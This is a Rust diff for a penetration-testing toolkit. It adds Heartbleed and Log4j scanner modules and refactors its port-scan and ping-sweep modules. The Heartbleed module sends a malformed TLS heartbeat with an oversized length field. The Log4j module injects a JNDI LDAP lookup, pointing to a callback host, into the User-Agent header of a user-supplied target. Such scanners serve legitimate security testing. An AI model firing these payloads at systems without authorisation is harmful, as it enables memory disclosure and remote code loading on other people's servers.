std::io::stdout().flush()?;
println!("[?] No port provided. Enter port:");
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let port = input.trim().parse::<u16>()?;
+121
View File
@@ -0,0 +1,121 @@
use anyhow::{Context, Result};
use std::io::{self, Write};
use std::net::ToSocketAddrs;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
pub async fn run_interactive(target: &str) -> Result<()> {
let port = prompt_port().unwrap_or(443);
run_with_port(target, port).await
}
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
let raw = target.trim();
let stripped = raw.trim_start_matches('[').trim_end_matches(']');
let host = if stripped.contains(':') {
format!("[{}]", stripped)
} else {
stripped.to_string()
};
let addr = format!("{}:{}", host, port);
println!("[*] Connecting to {}...", addr);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
let mut stream = match stream_result {
Ok(Ok(s)) => s,
Ok(Err(e)) => {
println!("[-] Connection to {} failed: {}", socket_addr, e);
return Ok(());
}
Err(_) => {
println!("[-] Connection to {} timed out", socket_addr);
return Ok(());
}
};
stream.write_all(&build_client_hello()).await?;
let mut response = vec![0u8; 4096];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
match read_result {
Ok(Ok(n)) if n > 0 => {}
_ => {
println!("[-] No response to Client Hello");
return Ok(());
}
}
stream.write_all(&build_heartbeat_request(0x4000)).await?;
let mut leak = vec![0u8; 65535];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
match read_result {
Ok(Ok(n)) if n > 0 => {
println!("[+] Possible heartbleed vulnerability! Received {} bytes.", n);
}
_ => {
println!("[-] Target does not seem vulnerable (no heartbeat response).");
}
}
Ok(())
}
fn build_client_hello() -> Vec<u8> {
let version: u16 = 0x0302;
let mut random = vec![0u8; 32];
random[0..4].copy_from_slice(&0x12345678u32.to_be_bytes());
let mut hello = vec![];
hello.extend_from_slice(&version.to_be_bytes());
hello.extend_from_slice(&random);
hello.push(0);
hello.extend_from_slice(&0x0002u16.to_be_bytes());
hello.extend_from_slice(&0x0033u16.to_be_bytes());
hello.extend_from_slice(&0x0039u16.to_be_bytes());
hello.push(1);
hello.push(0);
hello.extend_from_slice(&0x0000u16.to_be_bytes());
let mut handshake = vec![0x01];
let len = (hello.len() as u32).to_be_bytes();
handshake.extend_from_slice(&len[1..]);
handshake.extend_from_slice(&hello);
build_tls_record(0x16, version, &handshake)
}
fn build_heartbeat_request(length: u16) -> Vec<u8> {
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
build_tls_record(0x18, 0x0302, &payload)
}
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
let mut record = vec![record_type];
record.extend_from_slice(&version.to_be_bytes());
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
record.extend_from_slice(payload);
record
}
fn prompt_port() -> Option<u16> {
print!("Enter port (default 443): ");
io::stdout().flush().ok();
let mut input = String::new();
if io::stdin().read_line(&mut input).is_ok() {
let input = input.trim();
if input.is_empty() {
return None;
}
if let Ok(p) = input.parse::<u16>() {
return Some(p);
}
}
None
}
+44
View File
@@ -0,0 +1,44 @@
use anyhow::{Result, Context};
use rand::Rng;
use reqwest::Client;
use std::io::{self, Write};
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
pub async fn run_interactive(_target: &str) -> Result<()> {
print!("Enter URL or host to scan: ");
io::stdout().flush().ok();
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let host = input.trim();
let client = Client::builder()
.redirect(reqwest::redirect::Policy::limited(3))
.danger_accept_invalid_certs(true)
.build()
.context("Failed to build HTTP client")?;
let token: u32 = rand::thread_rng().gen();
let payload = format!("${{jndi:ldap://{:x}.example.com/a}}", token);
for scheme in ["http", "https"] {
let url = if host.starts_with("http") {
host.to_string()
} else {
format!("{}://{}", scheme, host)
};
match client.get(&url).header("User-Agent", &payload).send().await {
Ok(resp) => {
println!("[+] {} -> status {}", url, resp.status());
}
Err(e) => {
println!("[-] Failed {}: {}", url, e);
}
}
}
println!("[*] Payload sent. Check your callback server for any connections to confirm vulnerability.");
Ok(())
}
+2
View File
@@ -4,3 +4,5 @@ pub mod port_scanner;
pub mod stalkroute_full_traceroute;
pub mod http_title_scanner;
pub mod ping_sweep;
pub mod log4j_scanner;
pub mod heartbleed_scanner;
+8 -43
View File
@@ -1,53 +1,21 @@
use anyhow::{Result, Context};
use colored::*;
use ipnet::IpNet;
use std::net::IpAddr;
use std::sync::Arc;
use tokio::{
process::Command,
sync::Semaphore,
time::{timeout, Duration},
};
use std::io::{self, Write};
use tokio::{process::Command, sync::Semaphore, time::{timeout, Duration}};
/// Main entry point for the RouterSploit auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
let cidr = prompt_for_cidr(target).await?;
execute_ping_sweep(&cidr).await
run_interactive(target).await
}
/// Prompt for a valid CIDR until received
async fn prompt_for_cidr(initial: &str) -> Result<String> {
// // Start with any provided value
let mut input = initial.trim().to_string();
loop {
// // If empty, ask user
if input.is_empty() {
print!("{}", "Enter target (CIDR, e.g., 192.168.1.0/24): ".cyan().bold());
io::stdout().flush().ok();
input.clear();
io::stdin().read_line(&mut input)?;
input = input.trim().to_string();
}
// // Try to parse as CIDR
match input.parse::<IpNet>() {
Ok(_) => return Ok(input),
Err(_) => {
eprintln!("[!] Module failed: Use CIDR notation like 192.168.1.0/24\n\nCaused by:\n invalid IP address syntax");
input.clear();
continue;
}
}
}
}
/// Executes a ping sweep across the provided CIDR subnet
pub async fn execute_ping_sweep(target: &str) -> Result<()> {
// // Parse the target as CIDR (e.g., 192.168.1.0/24)
let net: IpNet = target.parse().context("Use CIDR notation like 192.168.1.0/24")?;
// // Collect all host IPs in the subnet
pub async fn run_interactive(_target: &str) -> Result<()> {
print!("Enter CIDR range to sweep: ");
io::stdout().flush().ok();
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let net: IpNet = input.trim().parse().context("Use CIDR notation like 192.168.1.0/24")?;
let hosts: Vec<IpAddr> = net.hosts().collect();
// // Use a semaphore to limit concurrency to 50
let semaphore = Arc::new(Semaphore::new(50));
let mut tasks = Vec::new();
@@ -55,9 +23,7 @@ pub async fn execute_ping_sweep(target: &str) -> Result<()> {
let sem = semaphore.clone();
let ip_str = ip.to_string();
tasks.push(tokio::spawn(async move {
// // Limit concurrent pings using the semaphore
let _permit = sem.acquire_owned().await.unwrap();
// // Use "ping" for IPv4, "ping6" for IPv6
let cmd = if ip.is_ipv4() { "ping" } else { "ping6" };
let result = timeout(
Duration::from_secs(3),
@@ -66,7 +32,6 @@ pub async fn execute_ping_sweep(target: &str) -> Result<()> {
.output(),
)
.await;
// // If ping succeeded, print that the host is up
if let Ok(Ok(out)) = result {
if out.status.success() {
println!("[+] Host {} is up", ip_str);
+79 -425
View File
@@ -1,20 +1,17 @@
use anyhow::{Result, anyhow};
use colored::*;
use std::{
fs::File,
io::{self, Write, BufWriter},
net::{SocketAddr, ToSocketAddrs},
sync::{Arc, Mutex},
time::Instant,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::{TcpStream, UdpSocket},
sync::Semaphore,
time::{timeout, Duration},
};
#[derive(Debug, Clone)]
#[derive(Debug)]
pub struct ScanSettings {
pub concurrency: usize,
pub timeout_secs: u64,
@@ -22,109 +19,17 @@ pub struct ScanSettings {
pub verbose: bool,
pub scan_udp_enabled: bool,
pub output_file: String,
pub port_range: PortRange,
}
#[derive(Debug, Clone)]
pub enum PortRange {
All,
Custom { start: u16, end: u16 },
Common,
Top1000,
}
impl PortRange {
fn get_ports(&self) -> Vec<u16> {
match self {
PortRange::All => (1..=65535).collect(),
PortRange::Custom { start, end } => (*start..=*end).collect(),
PortRange::Common => COMMON_PORTS.to_vec(),
PortRange::Top1000 => (1..=1000).collect(),
}
}
}
// Common ports list
const COMMON_PORTS: &[u16] = &[
21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723, 3306, 3389, 5900, 8080,
];
// Service detection map
fn get_service_name(port: u16) -> &'static str {
match port {
21 => "FTP",
22 => "SSH",
23 => "Telnet",
25 => "SMTP",
53 => "DNS",
80 => "HTTP",
110 => "POP3",
111 => "RPC",
135 => "MSRPC",
139 => "NetBIOS",
143 => "IMAP",
443 => "HTTPS",
445 => "SMB",
993 => "IMAPS",
995 => "POP3S",
1723 => "PPTP",
3306 => "MySQL",
3389 => "RDP",
5900 => "VNC",
8080 => "HTTP-Proxy",
_ => "",
}
}
/// Interactive config prompt
pub fn prompt_settings() -> Result<ScanSettings> {
println!("{}", "\n=== Port Scanner Configuration ===".cyan().bold());
// Port range selection
println!("\n{}", "Port Range Options:".yellow());
println!(" 1. All ports (1-65535)");
println!(" 2. Common ports (21, 22, 23, 25, 53, 80, 443, etc.)");
println!(" 3. Top 1000 ports");
println!(" 4. Custom range");
let range_choice = prompt_usize("Select option (1-4) [1]: ")?;
let port_range = match range_choice {
1 | 0 => PortRange::All,
2 => PortRange::Common,
3 => PortRange::Top1000,
4 => {
let start_val: usize = prompt_usize("Start port: ")?;
let end_val: usize = prompt_usize("End port: ")?;
if start_val > 65535 || start_val == 0 {
return Err(anyhow!("Start port must be between 1 and 65535"));
}
if end_val > 65535 || end_val == 0 {
return Err(anyhow!("End port must be between 1 and 65535"));
}
let start: u16 = start_val.try_into().map_err(|_| anyhow!("Invalid start port"))?;
let end: u16 = end_val.try_into().map_err(|_| anyhow!("Invalid end port"))?;
if start > end {
return Err(anyhow!("Start port must be <= end port"));
}
PortRange::Custom { start, end }
}
_ => PortRange::All,
};
let ports = port_range.get_ports();
println!("{}", format!("[*] Selected {} ports to scan", ports.len()).green());
Ok(ScanSettings {
concurrency: prompt_usize("Concurrency [100]: ").unwrap_or(100),
timeout_secs: prompt_usize("Timeout (in seconds) [3]: ").unwrap_or(3) as u64,
show_only_open: prompt_bool("Show only open ports? (y/n) [y]: ").unwrap_or(true),
verbose: prompt_bool("Verbose output? (y/n) [n]: ").unwrap_or(false),
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n) [n]: ").unwrap_or(false),
output_file: prompt("Output filename [scan_results.txt]: ").unwrap_or_else(|_| "scan_results.txt".to_string()),
port_range,
concurrency: prompt_usize("Concurrency: ")?,
timeout_secs: prompt_usize("Timeout (in seconds): ")? as u64,
show_only_open: prompt_bool("Show only open ports? (y/n): ")?,
verbose: prompt_bool("Verbose output? (y/n): ")?,
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n): ")?,
output_file: prompt("Output filename: ")?,
})
}
@@ -139,7 +44,6 @@ pub async fn run_interactive(target: &str) -> Result<()> {
settings.verbose,
settings.scan_udp_enabled,
&settings.output_file,
settings.port_range,
)
.await
}
@@ -154,284 +58,115 @@ pub async fn run_with_settings(
concurrency: usize,
timeout_secs: u64,
show_only_open: bool,
_verbose: bool,
verbose: bool,
scan_udp_enabled: bool,
output_file: &str,
port_range: PortRange,
) -> Result<()> {
let start_time = Instant::now();
// Resolve domain or IP
let (resolved_ip_str, resolved_ip) = resolve_target(target)?;
let semaphore = Arc::new(Semaphore::new(concurrency));
let file = Arc::new(Mutex::new(BufWriter::new(File::create(output_file)?)));
let ports = port_range.get_ports();
let total_ports = ports.len() * (1 + scan_udp_enabled as usize);
let stats = Arc::new(Mutex::new(ScanStats::new()));
let progress = Arc::new(Mutex::new(ProgressTracker::new(total_ports)));
println!("\n{}", format!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str).cyan().bold());
println!("{}", format!("[*] Scanning {} ports with concurrency: {}", total_ports, concurrency).cyan());
writeln!(file.lock().unwrap(), "Port Scan Results for {} ({})\n", target, resolved_ip_str)?;
let timestamp = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
writeln!(file.lock().unwrap(), "Scan started at: {}\n", timestamp)?;
let mut tasks = vec![];
// TCP Scan
println!("{}", "\n[*] Starting TCP scan...".yellow());
let mut tcp_tasks = vec![];
for port in &ports {
println!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str);
writeln!(file.lock().unwrap(), "Scan Results for {} ({})\n", target, resolved_ip_str)?;
let progress_bar = Arc::new(Mutex::new(ProgressBar::new(65535 * (1 + scan_udp_enabled as usize))));
// TCP Scan loop
println!("[*] Starting TCP scan...");
for port in 1..=65535u16 {
let permit = semaphore.clone().acquire_owned().await?;
let file = file.clone();
let stats = stats.clone();
let progress = progress.clone();
let progress_bar = progress_bar.clone();
let ip = resolved_ip;
let ip_str = resolved_ip_str.clone();
let port = *port;
let handle = tokio::spawn(async move {
let _permit = permit;
let result = scan_tcp(&ip, port, timeout_secs).await;
let mut stats_guard = stats.lock().unwrap();
let mut progress_guard = progress.lock().unwrap();
if let Some((status, banner, service)) = result {
match status.as_str() {
"OPEN" => {
stats_guard.tcp_open += 1;
let service_name = if service.is_empty() { get_service_name(port) } else { &service };
let line = format!("[TCP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
if !show_only_open {
let _ = writeln!(file.lock().unwrap(), "{}", line);
if let Some((status, banner)) = scan_tcp(&ip, port, timeout_secs).await {
let line = format!("[TCP] {}:{} => {}", ip_str, port, status);
if status == "OPEN" || !show_only_open {
if !banner.is_empty() {
let _ = writeln!(file.lock().unwrap(), "{} | Banner: {}", line, banner);
if verbose {
println!("{} | Banner: {}", line, banner);
}
} else {
let _ = writeln!(file.lock().unwrap(), "{}", line);
if verbose {
println!("{}", line);
}
let output_line = if !banner.is_empty() {
format!("{} | Banner: {}", line, banner.trim().bright_black())
} else {
line
};
let _ = writeln!(file.lock().unwrap(), "{}", output_line);
println!("{}", output_line);
}
"CLOSED" => stats_guard.tcp_closed += 1,
"TIMEOUT" | "FILTERED" => stats_guard.tcp_filtered += 1,
_ => {}
}
}
progress_guard.increment(&start_time);
if progress_guard.should_print() {
progress_guard.print_progress();
}
progress_bar.lock().unwrap().increment();
});
tcp_tasks.push(handle);
tasks.push(handle);
}
// UDP Scan
let mut udp_tasks = vec![];
// UDP Scan loop
if scan_udp_enabled {
println!("{}", "\n[*] Starting UDP scan...".yellow());
for port in &ports {
println!("[*] Starting UDP scan...");
for port in 1..=65535u16 {
let permit = semaphore.clone().acquire_owned().await?;
let file = file.clone();
let stats = stats.clone();
let progress = progress.clone();
let progress_bar = progress_bar.clone();
let ip = resolved_ip;
let ip_str = resolved_ip_str.clone();
let port = *port;
let handle = tokio::spawn(async move {
let _permit = permit;
let result = scan_udp(&ip, port, timeout_secs).await;
let mut stats_guard = stats.lock().unwrap();
let mut progress_guard = progress.lock().unwrap();
if let Some(status) = result {
match status.as_str() {
"OPEN" => {
stats_guard.udp_open += 1;
let service_name = get_service_name(port);
let line = format!("[UDP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
if !show_only_open {
let _ = writeln!(file.lock().unwrap(), "{}", line);
}
let _ = writeln!(file.lock().unwrap(), "{}", line);
if let Some(status) = scan_udp(&ip, port, timeout_secs).await {
let line = format!("[UDP] {}:{} => {}", ip_str, port, status);
if status == "OPEN" || !show_only_open {
let _ = writeln!(file.lock().unwrap(), "{}", line);
if verbose {
println!("{}", line);
}
"CLOSED" => stats_guard.udp_closed += 1,
"FILTERED" => stats_guard.udp_filtered += 1,
_ => {}
}
}
progress_guard.increment(&start_time);
if progress_guard.should_print() {
progress_guard.print_progress();
}
progress_bar.lock().unwrap().increment();
});
udp_tasks.push(handle);
tasks.push(handle);
}
}
// Await all tasks
for task in tcp_tasks {
let _ = task.await;
}
for task in udp_tasks {
for task in tasks {
let _ = task.await;
}
let elapsed = start_time.elapsed();
let stats = stats.lock().unwrap();
// Print summary
println!("\n{}", "=== Scan Summary ===".cyan().bold());
println!("{}", format!("Scan duration: {:.2} seconds", elapsed.as_secs_f64()).green());
println!("\n{}", "TCP Ports:".yellow());
println!(" {} Open: {}", "".green(), stats.tcp_open.to_string().green().bold());
println!(" {} Closed: {}", "".red(), stats.tcp_closed);
println!(" {} Filtered/Timeout: {}", "~".yellow(), stats.tcp_filtered);
if scan_udp_enabled {
println!("\n{}", "UDP Ports:".yellow());
println!(" {} Open: {}", "".green(), stats.udp_open.to_string().green().bold());
println!(" {} Closed: {}", "".red(), stats.udp_closed);
println!(" {} Filtered: {}", "~".yellow(), stats.udp_filtered);
}
println!("\n{}", format!("[*] Results saved to {}", output_file).cyan());
// Write summary to file
writeln!(file.lock().unwrap(), "\n=== Scan Summary ===")?;
writeln!(file.lock().unwrap(), "Scan duration: {:.2} seconds", elapsed.as_secs_f64())?;
writeln!(file.lock().unwrap(), "\nTCP Ports:")?;
writeln!(file.lock().unwrap(), " Open: {}", stats.tcp_open)?;
writeln!(file.lock().unwrap(), " Closed: {}", stats.tcp_closed)?;
writeln!(file.lock().unwrap(), " Filtered/Timeout: {}", stats.tcp_filtered)?;
if scan_udp_enabled {
writeln!(file.lock().unwrap(), "\nUDP Ports:")?;
writeln!(file.lock().unwrap(), " Open: {}", stats.udp_open)?;
writeln!(file.lock().unwrap(), " Closed: {}", stats.udp_closed)?;
writeln!(file.lock().unwrap(), " Filtered: {}", stats.udp_filtered)?;
}
println!("[*] Scan complete. Results saved to {}", output_file);
Ok(())
}
/// === TCP Port Scanner with Enhanced Banner Grabbing ===
async fn scan_tcp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<(String, String, String)> {
/// === TCP Port Scanner (Banner Grab) ===
async fn scan_tcp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<(String, String)> {
let addr = SocketAddr::new(*ip, port);
match timeout(Duration::from_secs(timeout_secs), TcpStream::connect(addr)).await {
Ok(Ok(mut stream)) => {
// Try service-specific probes for better banner grabbing
let (banner, service) = grab_banner(&mut stream, port).await;
Some(("OPEN".into(), banner, service))
}
Ok(Err(_)) => Some(("CLOSED".into(), "".into(), "".into())),
Err(_) => Some(("TIMEOUT".into(), "".into(), "".into())),
}
}
/// Enhanced banner grabbing with service-specific probes
async fn grab_banner(stream: &mut TcpStream, port: u16) -> (String, String) {
let mut buf = [0u8; 2048];
// Try to read initial banner (works for FTP, SMTP, POP3, etc.)
match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
let service = detect_service_from_banner(&banner, port);
return (banner, service);
}
_ => {}
}
// Service-specific probes
match port {
80 | 8080 => {
// HTTP probe
if let Ok(_) = stream.write_all(b"GET / HTTP/1.1\r\nHost: localhost\r\n\r\n").await {
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
if n > 0 {
let response = String::from_utf8_lossy(&buf[..n]);
if let Some(server) = extract_http_server(&response) {
return (response.trim().to_string(), format!("HTTP ({})", server));
}
return (response.trim().to_string(), "HTTP".into());
Ok(Ok(stream)) => {
let mut buf = [0u8; 1024];
// Try reading immediately if service gives banner (FTP, SMTP, HTTP, etc)
match timeout(Duration::from_secs(2), stream.readable()).await {
Ok(Ok(())) => match stream.try_read(&mut buf) {
Ok(n) if n > 0 => {
let banner = String::from_utf8_lossy(&buf[..n]).to_string();
Some(("OPEN".into(), banner))
}
}
_ => Some(("OPEN".into(), "".into())),
},
_ => Some(("OPEN".into(), "".into())),
}
}
443 => {
// HTTPS - can't easily probe without TLS, just return empty
return ("".into(), "HTTPS".into());
}
22 => {
// SSH - read SSH banner
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
if n > 0 {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
return (banner, "SSH".into());
}
}
}
_ => {
// Try reading again for other services
if let Ok(Ok(n)) = timeout(Duration::from_secs(1), stream.read(&mut buf)).await {
if n > 0 {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
let service = detect_service_from_banner(&banner, port);
return (banner, service);
}
}
}
}
("".into(), "".into())
}
fn detect_service_from_banner(banner: &str, port: u16) -> String {
let banner_lower = banner.to_lowercase();
if banner_lower.contains("ssh") {
"SSH".into()
} else if banner_lower.contains("ftp") {
"FTP".into()
} else if banner_lower.contains("smtp") {
"SMTP".into()
} else if banner_lower.contains("pop3") {
"POP3".into()
} else if banner_lower.contains("imap") {
"IMAP".into()
} else if banner_lower.contains("http") {
"HTTP".into()
} else if banner_lower.contains("mysql") {
"MySQL".into()
} else {
get_service_name(port).to_string()
Ok(Err(_)) => Some(("CLOSED".into(), "".into())),
Err(_) => Some(("TIMEOUT".into(), "".into())),
}
}
fn extract_http_server(response: &str) -> Option<String> {
for line in response.lines() {
if line.to_lowercase().starts_with("server:") {
return Some(line.split(':').nth(1).unwrap_or("").trim().to_string());
}
}
None
}
/// === UDP Port Scanner ===
/// === UDP Port Scanner (Stateless "Fire-and-Forget") ===
async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<String> {
// We bind to a random UDP port on localhost
let bind_addr = if ip.is_ipv4() { "0.0.0.0:0" } else { "[::]:0" };
let sock = match UdpSocket::bind(bind_addr).await {
Ok(s) => s,
@@ -439,14 +174,14 @@ async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option
};
let target = SocketAddr::new(*ip, port);
let payload = b"\x00\x00\x10\x10";
let payload = b"\x00\x00\x10\x10"; // Random small packet
let _ = sock.send_to(payload, target).await;
// Set a timeout: if port is closed, we should get "Connection refused"
let mut buf = [0u8; 512];
match timeout(Duration::from_secs(timeout_secs), sock.recv_from(&mut buf)).await {
Ok(Ok((_len, _src))) => Some("OPEN".into()),
Ok(Err(_)) => Some("CLOSED".into()),
Err(_) => Some("FILTERED".into()),
Ok(Ok((_len, _src))) => Some("OPEN".into()), // Got a response!
Ok(Err(_)) => Some("CLOSED".into()), // ICMP port unreachable
Err(_) => Some("FILTERED".into()), // No response
}
}
@@ -454,6 +189,7 @@ async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option
fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> {
let cleaned = input.trim().trim_start_matches('[').trim_end_matches(']');
let addrs: Vec<_> = (cleaned, 0).to_socket_addrs()?.collect();
// Prefer IPv4, else fallback to first address
if let Some(addr) = addrs.iter().find(|a| a.is_ipv4()) {
Ok((addr.ip().to_string(), addr.ip()))
} else if let Some(addr) = addrs.first() {
@@ -465,7 +201,7 @@ fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> {
/// === Prompt Utilities ===
fn prompt(message: &str) -> Result<String> {
print!("{}", message.cyan().bold());
print!("{}", message);
io::stdout().flush()?;
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
@@ -475,13 +211,10 @@ fn prompt(message: &str) -> Result<String> {
fn prompt_bool(message: &str) -> Result<bool> {
loop {
let input = prompt(message)?;
if input.is_empty() {
return Ok(false);
}
match input.to_lowercase().as_str() {
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Please enter 'y' or 'n'.".yellow()),
_ => println!("Please enter 'y' or 'n'."),
}
}
}
@@ -489,105 +222,26 @@ fn prompt_bool(message: &str) -> Result<bool> {
fn prompt_usize(message: &str) -> Result<usize> {
loop {
let input = prompt(message)?;
if input.is_empty() {
return Err(anyhow!("Input required"));
}
if let Ok(n) = input.parse::<usize>() {
return Ok(n);
}
println!("{}", "Please enter a valid number.".yellow());
println!("Please enter a valid number.");
}
}
/// === Scan Statistics ===
struct ScanStats {
tcp_open: usize,
tcp_closed: usize,
tcp_filtered: usize,
udp_open: usize,
udp_closed: usize,
udp_filtered: usize,
}
impl ScanStats {
fn new() -> Self {
ScanStats {
tcp_open: 0,
tcp_closed: 0,
tcp_filtered: 0,
udp_open: 0,
udp_closed: 0,
udp_filtered: 0,
}
}
}
/// === Progress Tracker ===
struct ProgressTracker {
/// === Progress Bar Struct ===
struct ProgressBar {
total: usize,
current: usize,
last_print: usize,
start_time: Option<Instant>,
}
impl ProgressTracker {
impl ProgressBar {
fn new(total: usize) -> Self {
ProgressTracker {
total,
current: 0,
last_print: 0,
start_time: None,
}
ProgressBar { total, current: 0 }
}
fn increment(&mut self, start_time: &Instant) {
if self.start_time.is_none() {
self.start_time = Some(*start_time);
}
fn increment(&mut self) {
self.current += 1;
}
fn should_print(&self) -> bool {
let diff = self.current - self.last_print;
diff >= 100 || self.current == self.total
}
fn print_progress(&mut self) {
if self.current == 0 {
return;
if self.current % 1000 == 0 || self.current == self.total {
println!("[*] Progress: {}/{}", self.current, self.total);
}
let percentage = (self.current as f64 / self.total as f64) * 100.0;
let elapsed = self.start_time.map(|s| s.elapsed()).unwrap_or_default();
let rate = if elapsed.as_secs() > 0 {
self.current as f64 / elapsed.as_secs() as f64
} else {
0.0
};
let remaining = if rate > 0.0 {
(self.total - self.current) as f64 / rate
} else {
0.0
};
print!("\r{}", format!(
"[*] Progress: {}/{} ({:.1}%) | Rate: {:.0} ports/sec | ETA: {:.0}s",
self.current,
self.total,
percentage,
rate,
remaining
).cyan());
io::stdout().flush().unwrap();
if self.current == self.total {
println!();
}
self.last_print = self.current;
}
}
+1 -4
View File
@@ -1,8 +1,6 @@
use anyhow::{Result};
use colored::*;
use regex::Regex;
use std::collections::HashMap;
use std::io::Write;
use std::net::SocketAddr;
use tokio::net::UdpSocket;
use tokio::time::{timeout, Duration};
@@ -69,8 +67,7 @@ fn clean_ipv6_brackets(ip: &str) -> String {
/// Ask user for port (optional), fallback to 1900 if empty
fn prompt_port() -> Option<u16> {
print!("{}", "[*] Enter custom port (default 1900): ".cyan().bold());
std::io::stdout().flush().ok();
println!("[*] Enter custom port (default 1900): ");
let mut input = String::new();
if let Ok(_) = std::io::stdin().read_line(&mut input) {
let input = input.trim();
+9 -10
View File
@@ -1,7 +1,6 @@
use crate::commands;
use crate::utils;
use anyhow::Result;
use colored::*;
use rand::prelude::*; // rand 0.9 prelude provides rng() and SliceRandom
use std::env;
use std::io::{self, Write};
@@ -33,7 +32,7 @@ pub async fn interactive_shell() -> Result<()> {
let mut ctx = ShellContext::new();
loop {
print!("{}", "rsf> ".cyan().bold());
print!("rsf> ");
io::stdout().flush()?;
let mut input = String::new();
@@ -68,7 +67,7 @@ pub async fn interactive_shell() -> Result<()> {
cmd if cmd.starts_with("find ") => {
let keyword = cmd.trim_start_matches("find ").trim();
if keyword.is_empty() {
println!("{}", "Usage: find <keyword>".yellow());
println!("Usage: find <keyword>");
} else {
utils::find_modules(keyword);
}
@@ -109,18 +108,18 @@ pub async fn interactive_shell() -> Result<()> {
let module_path = cmd.trim_start_matches("use ").trim();
if utils::module_exists(module_path) {
ctx.current_module = Some(module_path.to_string());
println!("{}", format!("Module '{}' selected.", module_path).green());
println!("Module '{}' selected.", module_path);
} else {
println!("{}", format!("Module '{}' not found.", module_path).red());
println!("Module '{}' not found.", module_path);
}
},
cmd if cmd.starts_with("set ") => {
let parts: Vec<&str> = cmd.split_whitespace().collect();
if parts.len() >= 3 && parts[1] == "target" {
ctx.current_target = Some(parts[2].to_string());
println!("{}", format!("Target set to {}", parts[2]).green());
println!("Target set to {}", parts[2]);
} else {
println!("{}", "Usage: set target <value>".yellow());
println!("Usage: set target <value>");
}
},
"run" => {
@@ -172,14 +171,14 @@ pub async fn interactive_shell() -> Result<()> {
}
}
} else {
println!("{}", "No target set. Use 'set target <value>' first.".yellow());
println!("No target set. Use 'set target <value>' first.");
}
} else {
println!("{}", "No module selected. Use 'use <module>' first.".yellow());
println!("No module selected. Use 'use <module>' first.");
}
},
_ => {
println!("{}", format!("Unknown command: '{}'. Type 'help' for usage.", input).red());
println!("Unknown command: '{}'. Type 'help' for usage.", input);
},
}
}
-1
View File
@@ -1 +0,0 @@